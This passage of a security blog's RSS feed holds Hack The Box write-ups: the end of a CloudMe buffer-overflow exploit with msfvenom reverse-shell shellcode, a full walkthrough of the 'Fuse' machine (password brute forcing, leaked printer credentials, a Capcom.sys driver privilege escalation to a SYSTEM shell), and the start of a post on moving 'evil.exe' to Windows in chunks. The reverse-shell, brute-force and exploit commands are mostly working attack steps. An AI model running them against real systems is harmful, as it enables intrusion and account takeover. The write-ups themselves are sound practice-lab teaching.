&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1

 # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
 buf = b&amp;#34;&amp;#34;
 buf += b&amp;#34;\xda\xd0\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x12\xab\x84&amp;#34;
 buf += b&amp;#34;\xb1\xb1\x52\x83\xe8\xfc\x31\x58\x13\x03\x4a\xb8\x66&amp;#34;
 buf += b&amp;#34;and so on...&amp;#34;

 shellcode = b&amp;#39;\x90&amp;#39; * 16 + buf
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="exploiting-our-own-box"&gt;Exploiting our own box&lt;/h3&gt;
&lt;p&gt;Now it&amp;rsquo;s time to start a listener on our machine (&lt;code&gt;nc -lvnp 80&lt;/code&gt;) and run the exploit one more time. If everything went well, we should get a shell from the target system back:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kali@kali:~ kali$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [172.16.246.133] from (UNKNOWN) [172.16.246.136] 49696
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Hey, it worked! We successfully exploited the system. The only two things left are now to 1.) update the shellcode for a reverse shell to the IP of our &lt;code&gt;tun0&lt;/code&gt; interface from the Hack The Box VPN and 2.) Find a way to actually send the payload, as we don&amp;rsquo;t have administrator permissions on the target yet and can thus not do a portproxy like we did for our box.&lt;/p&gt;
&lt;p&gt;After acknowledging the Windows dog which tells us that we have been pwned, we can shutdown our VM :-)&lt;/p&gt;
&lt;p&gt;&lt;img alt="Windows dog" loading="lazy" src="https://davidhamann.de/images/buff_dog.jpg"&gt;&lt;/p&gt;
&lt;h3 id="updating-the-payload"&gt;Updating the payload&lt;/h3&gt;
&lt;p&gt;Updating the payload is easy; just change the IP address of the &lt;code&gt;msfvenom&lt;/code&gt; command and put the result back into the exploit script:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="setting-up-a-remote-forward"&gt;Setting up a remote forward&lt;/h3&gt;
&lt;p&gt;To reach the CloudMe service from our attacker machine, we can upload &lt;code&gt;plink.exe&lt;/code&gt; to the target and then set up a remote port forward to our machine.&lt;/p&gt;
&lt;p&gt;Since we are connecting from the target to our machine, it makes sense to use a low-privilege account and only allow port-forwarding to minimize the chance of getting owned ourselves :-)&lt;/p&gt;
&lt;p&gt;We add the the public key and some options to the &lt;code&gt;authorized_keys&lt;/code&gt; file of our low-priv user (in my case I call the user &lt;code&gt;forwarder&lt;/code&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;from=&amp;#34;10.10.10.198&amp;#34;,command=&amp;#34;echo &amp;#39;Please dont pwn me&amp;#39;&amp;#34;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3Nz...==
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we launch the SSHd service on our machine (feel free to adjust the port number in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;; I use 7777 for this example) and then copy the &lt;code&gt;plink.exe&lt;/code&gt; and &lt;code&gt;forwarder.ppk&lt;/code&gt; key file to the target:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;copy \\10.10.14.28\TMP\plink.exe .
copy \\10.10.14.28\TMP\forwarder.ppk .
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then, to set up the forwarding:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.\plink.exe -ssh -l forwarder -i forwarder.ppk -v -N -P 7777 -R 8888:127.0.0.1:8888 10.10.14.28
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick &lt;code&gt;netstat -tlpn&lt;/code&gt; on our machine should confirm that sshd now also started listening on 127.0.0.1:8888 for our forward.&lt;/p&gt;
&lt;p&gt;One thing left: we change the &lt;code&gt;HOST&lt;/code&gt; variable in our exploit to &lt;code&gt;127.0.0.1&lt;/code&gt;, start a netcat listener &lt;code&gt;nc -lvnp 80&lt;/code&gt; and run the exploit again.&lt;/p&gt;
&lt;p&gt;Now we are greeted with an administrator shell from the target system:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nc -vlnp 80
listening on [any] 80 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.198] 49876
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
whoami
buff\administrator
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I have posted the full exploit script for reference as a &lt;a href="https://gist.github.com/davidhamann/412fe8a6ffde5b80c818d19e598495f6"&gt;Gist&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #8: Fuse</title><link>https://davidhamann.de/2020/10/31/htb-writeup-fuse/</link><pubDate>Sat, 31 Oct 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/10/31/htb-writeup-fuse/</guid><description>&lt;p&gt;I finally found some time again to write a walk-through of a Hack The Box machine. In this post we&amp;rsquo;ll hack into &lt;em&gt;Fuse&lt;/em&gt;, a Medium machine which just got retired and included some password guessing, discovery of stored plaintext credentials and eventually a SeLoadDriverPrivilege escalation.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;To get a first overview of the box, we&amp;rsquo;ll start with a &lt;code&gt;nmap -sC -sV 10.10.10.193&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus 
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn&amp;#39;t have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-30 22:31:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking at the ports and enumeration output, we can tell we&amp;rsquo;re dealing with a domain controller.&lt;/p&gt;
&lt;p&gt;Since we also see port 80 open, let&amp;rsquo;s first have a quick look at the site at &lt;code&gt;http://10.10.10.193&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It forwards us to &lt;code&gt;http://fuse.fabricorp.local/papercut/logs/html/index.htm&lt;/code&gt;, which we can browse normally after adding &lt;code&gt;fuse.fabricorp.local&lt;/code&gt; and &lt;code&gt;fabricorp.local&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt; (you would only need to add &lt;code&gt;fuse.fabricorp.local&lt;/code&gt;, but it could be helpful to also have the root domain in it for later parts):&lt;/p&gt;
&lt;p&gt;&lt;img alt="Papercut site" loading="lazy" src="https://davidhamann.de/images/fuse-papercut-site.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The print logging system lets us access reports for past print jobs and through that also makes it possible to collect some user/machine names and document titles with potential hints:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Users, machines and documents" loading="lazy" src="https://davidhamann.de/images/fuse-printlogs.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We learn about the following users:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pmerton - JUMP01 - Works in HR?&lt;/li&gt;
&lt;li&gt;tlavel - LONWK015 - Works in IT?&lt;/li&gt;
&lt;li&gt;sthompson - LONWK019 - Works in Purchasing?&lt;/li&gt;
&lt;li&gt;bhult - LAPTOP07&lt;/li&gt;
&lt;li&gt;administrator - FUSE - Troubleshooting some printing issues?&lt;/li&gt;
&lt;li&gt;bnielson – New in the company? Maybe a weak default password?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Looking at the other ports, we can&amp;rsquo;t enumerate too much more as we don&amp;rsquo;t have valid credentials yet (no LDAP, SMB/RPC enum).&lt;/p&gt;
&lt;h2 id="brute-forcing-our-way-to-first-credentials"&gt;Brute-forcing our way to first credentials&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;ll take a chance and create a small wordlist of passwords containing the company name and try it against the discovered accounts via SMB:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;users.txt&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;bnielson
sthompson
tlavel
pmerton
bhult
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;passwords.txt&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo Fabricorp &amp;gt; seed
$ hashcat -r best64.rule --stdout seed &amp;gt; passwords.txt
Fabricorp
procirbaF
FABRICORP
fabricorp
Fabricorp0
Fabricorp1
Fabricorp2
Fabricorp3
Fabricorp4
Fabricorp5
Fabricorp6
Fabricorp7
Fabricorp8
Fabricorp9
Fabricorp00
Fabricorp01
Fabricorp02
Fabricorp11
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using hydra for brute-forcing, we quickly get the following results:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ hydra -L users.txt -P passwords.txt smb://10.10.10.193
Hydra v9.1 (c) 2020 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-30 23:47:54
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 60 login tries (l:5/p:12), ~60 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] Host: 10.10.10.193 Account: bnielson Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bnielson password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: tlavel Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: tlavel password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: bhult Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bhult password: Fabricorp01
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So &lt;code&gt;Fabricorp01&lt;/code&gt; seems to be an expired default password for a couple of accounts. We should be able to reset the password and set our own. Let&amp;rsquo;s choose &lt;code&gt;tlavel&lt;/code&gt; as our target, since it looks like he&amp;rsquo;s working in IT:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ smbpasswd -U tlavel -r 10.10.10.193
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on 10.10.10.193.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The password change worked and we can authenticate via SMB.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ smbmap -H 10.10.10.193 -u tlavel -p &amp;#39;chosenpassword&amp;#39;
[+] IP: 10.10.10.193:445 Name: fabricorp.local
 Disk Permissions Comment
 ---- ----------- -------
 ADMIN$ NO ACCESS Remote Admin
 C$ NO ACCESS Default share
 HP-MFT01 NO ACCESS HP-MFT01
 IPC$ READ ONLY Remote IPC
 NETLOGON READ ONLY Logon server share
 print$ READ ONLY Printer Drivers
 SYSVOL READ ONLY Logon server share
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="more-enumeration-finding-plaintext-credentials"&gt;More Enumeration, Finding Plaintext Credentials&lt;/h2&gt;
&lt;p&gt;Our credentials don&amp;rsquo;t give us too much in terms of file access – we can mount &lt;code&gt;print$&lt;/code&gt; with &lt;code&gt;mkdir /mnt/print; mount -t cifs -o 'user=tlavel,password=chosenpassword,rw,vers=1.0' //10.10.10.193/print$ /mnt/print&lt;/code&gt;, but nothing looks helpful in here.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see if we can enumerate more users, groups, maybe printers&amp;hellip; :-). A good tool to do this kind of enumeration is &lt;code&gt;rpcclient&lt;/code&gt;, which will do all the SAMR/SPOOL RPC calls for you:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ rpcclient -U tlavel 10.10.10.193
rpcclient $&amp;gt; enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

rpcclient $&amp;gt; enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]

rpcclient $&amp;gt; enumprinters
 flags:[0x800000]
 name:[\\10.10.10.193\HP-MFT01]
 description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
 comment:[]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The printer description field looks juicy and might fit the &lt;code&gt;svc-scan&lt;/code&gt; or &lt;code&gt;svc-print&lt;/code&gt; account discovered in the earlier call.&lt;/p&gt;
&lt;p&gt;Looking at the groups again, let&amp;rsquo;s dig into &lt;code&gt;IT_Accounts&lt;/code&gt; as it stands out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;rpcclient $&amp;gt; querygroup 0x644
 Group Name: IT_Accounts
 Description:
 Group Attribute:7
 Num Members:2
rpcclient $&amp;gt; querygroupmem 0x644
 rid:[0x450] attr:[0x7]
 rid:[0x641] attr:[0x7]
rpcclient $&amp;gt; queryuser 0x450
 User Name : svc-print
 [...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;svc-print&lt;/code&gt; is part of &lt;code&gt;IT_Accounts&lt;/code&gt;, &lt;code&gt;svc-scan&lt;/code&gt; is just in &lt;code&gt;Domain Users&lt;/code&gt; – so let&amp;rsquo;s try &lt;code&gt;svc-print&lt;/code&gt; first. This time we&amp;rsquo;re using &lt;code&gt;crackmapexec&lt;/code&gt; to check:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ cme smb 10.10.10.193 -u svc-print -p &amp;#39;$fab@s3Rv1ce$1&amp;#39;

SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Do we also have access via WinRM?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cme winrm 10.10.10.193 -u svc-print -p &amp;#39;$fab@s3Rv1ce$1&amp;#39;

WINRM 10.10.10.193 5985 FUSE [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM 10.10.10.193 5985 FUSE [*] http://10.10.10.193:5985/wsman
WINRM 10.10.10.193 5985 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This looks good. We can get our first shell via WinRM.&lt;/p&gt;
&lt;h2 id="privilege-escalation-from-svc-print-using-seloaddriverprivilege"&gt;Privilege Escalation from svc-print using SeLoadDriverPrivilege&lt;/h2&gt;
&lt;p&gt;To get a PowerShell shell, we can use &lt;code&gt;evil-winrm&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;evil-winrm -i 10.10.10.193 -u svc-print -p &amp;#39;$fab@s3Rv1ce$1&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first thing we run with our low-priv user is a &lt;code&gt;whoami /all&lt;/code&gt; to check what we are allowed to do.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\svc-print\Documents&amp;gt; whoami /all

USER INFORMATION
----------------

User Name SID
=================== ==============================================
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104


GROUP INFORMATION
-----------------
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts Group S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Not only are we a member of &lt;code&gt;Remote Management Users&lt;/code&gt; (we knew that), but also of &lt;code&gt;Print Operators&lt;/code&gt;. This gives us the &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; which allows to load device drivers – and potentially opens up a path to elevate our privileges to SYSTEM by abusing a vulnerable driver&amp;rsquo;s functionality in combination with a registry entry we can control (HKCU) and pass to the LoadDriver API.&lt;/p&gt;
&lt;p&gt;Have a look at the blog post &lt;a href="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/"&gt;Abusing SeLoadDriverPrivilege for privilege escalation&lt;/a&gt; for a good overview of the mechanics of this attack.&lt;/p&gt;
&lt;p&gt;Just like in the article, we can use the &lt;a href="https://github.com/TarlogicSecurity/EoPLoadDriver/"&gt;EoPLoadDriver&lt;/a&gt; proof-of-concept tool and the signed Capcom.sys driver together with the public &lt;a href="https://github.com/tandasat/ExploitCapcom"&gt;&lt;code&gt;ExploitCapcom&lt;/code&gt; exploit from GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;First, we switch over to a Windows system, clone the EiPLoadDriver repository and compile &lt;code&gt;EoPLoadDriver.cpp&lt;/code&gt;. Next, we clone the &lt;code&gt;ExploitCapcom&lt;/code&gt; repo (it already comes with a Visual Studio solution file), but make a slight adjustment before compiling.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;LaunchShell&lt;/code&gt; function we &amp;ldquo;quick and dirty&amp;rdquo; call our own reverse shell, instead of &lt;code&gt;cmd.exe&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;static bool LaunchShell()
{
 TCHAR CommandLine[] = TEXT(&amp;#34;C:\\Windows\\Temp\\revshell.exe&amp;#34;);
 [...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can now build the app and move on to creating a small reverse shell with &lt;code&gt;msfvenom&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=80 -f exe -o revshell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The only thing that is left is the Capcom.sys driver. I found a copy matching the checksum &lt;a href="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys"&gt;on GitHub in the Capcom-Rootkit repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;With the four files at hand, we are ready to drop some binaries on the target.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m using the upload functionality inside &lt;code&gt;evil-winrm&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;upload EopLoadDriver.exe
upload Capcom.sys
upload ExploitCapcom.exe
upload revshell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we prepare the netcat listener on our machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc -lvnp 80
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And then run the exploit:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Windows\Temp&amp;gt; .\EopLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0

*Evil-WinRM* PS C:\Windows\Temp&amp;gt; .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000018A080A0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And we get our SYSTEM shell back:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.193.
Ncat: Connection from 10.10.10.193:49747.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\Temp&amp;gt;whoami
whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Splitting a binary into chunks on Linux, and re-combining them on Windows</title><link>https://davidhamann.de/2020/09/09/split-binary-file-chunks/</link><pubDate>Wed, 09 Sep 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/09/09/split-binary-file-chunks/</guid><description>&lt;p&gt;Recently, I needed to transfer a binary over a very limited network connection allowing only small packets to be sent. I ended up splitting the binary into pieces on my Linux box and reassembled the pieces on the target Windows host.&lt;/p&gt;
&lt;p&gt;If, for some reason, you cannot use easier means like IP fragmentation and work with a smaller maximum transfer unit (MTU), here&amp;rsquo;s how to do the splitting and re-combining.&lt;/p&gt;
&lt;h2 id="split-binary-into-pieces-on-linux"&gt;Split binary into pieces on Linux&lt;/h2&gt;
&lt;p&gt;Splitting a file into pieces on Linux is very straightforward – just use the &lt;code&gt;split&lt;/code&gt; program (&lt;a href="https://man7.org/linux/man-pages/man1/split.1.html"&gt;man&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The following command will split &lt;code&gt;evil.exe&lt;/code&gt; into pieces of 1000 bytes, prefix them with &lt;code&gt;chunk&lt;/code&gt; and use a numeric suffix for each chunk.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;split -b 1000 -d evil.exe chunk
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So we will end up with something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;chunk00 chunk16 chunk32 chunk48
chunk01 chunk17 chunk33 chunk49
chunk02 chunk18 chunk34 chunk50
chunk03 chunk19 chunk35 chunk51
chunk04 chunk20 chunk36 chunk52
chunk05 chunk21 chunk37 chunk53
chunk06 chunk22 chunk38 chunk54
chunk07 chunk23 chunk39 chunk55
chunk08 chunk24 chunk40 chunk56
chunk09 chunk25 chunk41 chunk57
chunk10 chunk26 chunk42 chunk58
chunk11 chunk27 chunk43 chunk59
chunk12 chunk28 chunk44
chunk13 chunk29 chunk45
chunk14 chunk30 chunk46
chunk15 chunk31 chunk47
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our chunks, we can host them for the Windows machine to download.&lt;/p&gt;
&lt;h2 id="download-from-windows"&gt;Download from Windows&lt;/h2&gt;
&lt;p&gt;To download the individual chunks to the Windows host, let&amp;rsquo;s use a quick PowerShell one-liner with Invoke-WebRequest:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.59&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;chunk{0:d2}&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-f&lt;/span&gt; &lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="n"&gt;-outfile&lt;/span&gt; &lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="notice notice-info"&gt;
 If all you have is a command prompt and cannot download the chunks directly, one idea is to convert the binary chunks into hex strings and then send these strings through the prompt of the shell you might have.
&lt;/div&gt;

&lt;h2 id="combine-the-chunks"&gt;Combine the chunks&lt;/h2&gt;
&lt;p&gt;Now that we have all pieces to the puzzle, let&amp;rsquo;s assemble them into the self-contained binary we actually want, with &lt;code&gt;Get-ChildItem&lt;/code&gt;, &lt;code&gt;Get-Content&lt;/code&gt; and &lt;code&gt;Set-Content&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;gci &lt;/span&gt;&lt;span class="n"&gt;-Filter&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;chunk*&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;gc &lt;/span&gt;&lt;span class="n"&gt;-Enc&lt;/span&gt; &lt;span class="n"&gt;Byte&lt;/span&gt; &lt;span class="n"&gt;-Read&lt;/span&gt; &lt;span class="mf"&gt;1000&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;sc &lt;/span&gt;&lt;span class="n"&gt;evil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-Enc&lt;/span&gt; &lt;span class="n"&gt;Byte&lt;/span&gt; 
